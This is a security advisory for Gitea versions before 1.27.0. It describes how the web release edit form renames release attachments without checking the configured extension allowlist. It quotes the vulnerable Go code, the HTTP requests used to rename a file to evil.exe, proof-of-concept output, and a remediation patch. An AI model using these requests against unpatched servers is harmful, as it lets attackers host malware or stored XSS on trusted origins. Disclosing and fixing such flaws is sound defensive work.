GHSA-25gq-j9jx-43pg Gitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)

• Go code.gitea.io/gitea: < 1.27.0 → fixed in 1.27.0

Summary The web handler `EditReleasePost` (`routers/web/repo/release.go`) reads form fields with prefix `attachment-edit-{uuid}` into a `map[uuid]newName`, passes that map to `release_service.UpdateRelease`, which writes the new name to the database via `repo_model.UpdateAttachmentByUUID` WITHOUT calling `upload.Verify` against `setting.Repository.Release.AllowedTypes`. The parent CVE-2025-68939 fix (PR #32151) added the equivalent `upload.Verify` call on the API edit endpoints via `attachment_service.UpdateAttachment`. The web release edit path was not updated. A user with repository write permission can rename any existing release attachment to a name with a forbidden extension via the web release edit form, bypassing the operator-configured allowlist. Details Vulnerable code `routers/web/repo/release.go:597` `EditReleasePost`: ```go const editPrefix = "attachment-edit-" editAttachments := make(map[string]string) if setting.Attachment.Enabled { for k, v := range ctx.Req.Form { if strings.HasPrefix(k, editPrefix) { editAttachments[k[len(editPrefix):]] = v[0] } } } ... if err = release_service.UpdateRelease(ctx, ctx.Doer, ctx.Repo.GitRepo, rel, addAttachmentUUIDs, delAttachmentUUIDs, editAttachments); err != nil { ctx.ServerError("UpdateRelease", err) return } ``` `services/release/release.go:321` -- the unvalidated write: ```go for uuid, newName := range editAttachments { if !deletedUUIDs.Contains(uuid) { if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{ UUID: uuid, Name: newName, }, "name"); err != nil { return err } } } ``` No `upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes)` before the database write. Comparison: the parent fix on the API path `routers/api/v1/repo/release_attachment.go:341` (patched in PR #32151): ```go if err := attachment_service.UpdateAttachment(ctx, setting.Repository.Release.AllowedTypes, attach); err != nil { if upload.IsErrFileTypeForbidden(err) { ctx.Error(http.StatusUnprocessableEntity, "", err) return } ctx.Error(http.StatusInternalServerError, "UpdateAttachment", attach) return } ``` Delegates to: ```go // services/attachment/attachment.go:96 func UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error { if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil { return err } return repo_model.UpdateAttachment(ctx, attach) } ``` The API path goes through `attachment_service.UpdateAttachment` which calls `upload.Verify(nil, attach.Name, allowedTypes)`. The web path bypasses this entirely. Proof of Concept Tested live against: • Gitea `v1.26.1` community edition, Linux amd64, SQLite, Go 1.26.2 • `app.ini` includes `[repository.release] ALLOWED_TYPES = .zip,.tar.gz` • Two users: `admin` (superuser, created via `gitea admin user create --admin`), `bob` (regular, repo owner of `bob/test-repo`) Step 1: bob creates release v0.1 and uploads `innocent.zip` (allowlist compliant) via the API. Step 2: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension. ```http PATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1 Authorization: token Content-Type: application/json {"name":"evil.exe"} ``` Response: `HTTP 422` -- "This file cannot be uploaded or modified due to a forbidden file extension or type." (parent CVE-2025-68939 fix in action). Step 3: The attack. The web release edit form does NOT enforce the allowlist. ```http POST /bob/test-repo/releases/edit/v0.1 HTTP/1.1 Cookie: i_like_gitea=; lang=en-US Content-Type: application/x-www-form-urlencoded tag_name=v0.1 &tag_target=main &title=rename+payload &content= &attachment-edit-=evil.exe ``` Response: `HTTP 303 -> /bob/test-repo/releases`. The form is accepted with no validation error. Step 4: Verify. ```http GET /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1 ``` Response includes `"name": "evil.exe"`. The download link `/attachments/` now serves the file under the forbidden extension. A self contained Python PoC ships with this advisory: `GITEA-R007_release_edit_extension_bypass.py`. End to end run: GITEA-R007_release_edit_extension_bypass.py ``` [+] Logged in as bob [+] Pre-attack attachment name: 'innocent2.zip' [+] API endpoint correctly rejects rename: HTTP 422 (parent CVE-2025-68939 fix) [+] POST release edit: HTTP 303 -> /bob/test-repo/releases [+] Post-attack attachment name: 'pwn.exe' [!!!] CONFIRMED: web release edit bypasses Release.AllowedTypes allowlist. ``` Impact Same impact class as the parent CVE-2025-68939 (HIGH, CVSS 8.2): • Pre-condition: operator has set `Repository.Release.AllowedTypes` to a non-empty allowlist (a reasonable hardening posture when restricting release uploads). • Threat actor: user holding repository write permission. In most Gitea deployments this is the repo owner, organization members, or invited collaborators. • Effect: bypass the allowlist; an attachment uploaded under an allowed extension is renamed to a forbidden extension (.exe, .html, .svg, .js, ...) and served by Gitea under that name. • Practical impact: • Distribute malware files (e.g., `.exe`, `.dmg`, `.msi`, `.apk`) masquerading as a tagged release attachment • If Gitea serves attachments with inline rendering (HTML, SVG), the renamed file hosts stored XSS against the Gitea origin • Operator hardening intent (the allowlist) is silently defeated, with no audit trail beyond the regular release-edit event Suggested remediation Mirror the parent CVE-2025-68939 fix into the web release edit path. In `services/release/release.go UpdateRelease`, verify each new name against the configured allowlist before persisting: ```go import ( "code.gitea.io/gitea/modules/setting" "code.gitea.io/gitea/services/context/upload" ) // inside UpdateRelease, replace the editAttachments loop: for uuid, newName := range editAttachments { if deletedUUIDs.Contains(uuid) { continue } if err := upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes); err != nil { return err } if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{ UUID: uuid, Name: newName, }, "name"); err != nil { return err } } ``` The web handler `EditReleasePost` should map `IsErrFileTypeForbidden` to a 422 response (or equivalent flash error and form re-render) to match the API behavior. Alternative: refactor `attachment_service.UpdateAttachment` to accept a UUID (or expose a `UpdateAttachmentByUUID` variant in the service layer) and have the release service call that instead of the raw model function. Workaround for operators (no Gitea change required) Until a patched release lands, operators can mitigate by either: 1. Removing the `Repository.Release.AllowedTypes` allowlist (accept any extension) -- this eliminates the bypass but also removes the defense, so it is only a holding move. 2. Putting Gitea behind a reverse proxy that rewrites or strips suspicious `attachment-edit-*` form fields on POST to `///releases/edit/*` -- viable but operationally fragile. 3. Restricting who has Write permission on repositories with a configured release allowlist -- in single-tenant deployments this may be acceptable. A vendor patch is the right answer; the workarounds above are stopgaps. Credit Jose Rivas (bl4cksku111.com) References • Parent advisory: https://github.com/advisories/GHSA-263q-5cv3-xq9g (CVE-2025-68939) • Parent fix: PR https://github.com/go-gitea/gitea/pull/32151 (commit `7adc4717ec`) • CWE-424: https://cwe.mitre.org/data/definitions/424.html • CWE-434: https://cwe.mitre.org/data/definitions/…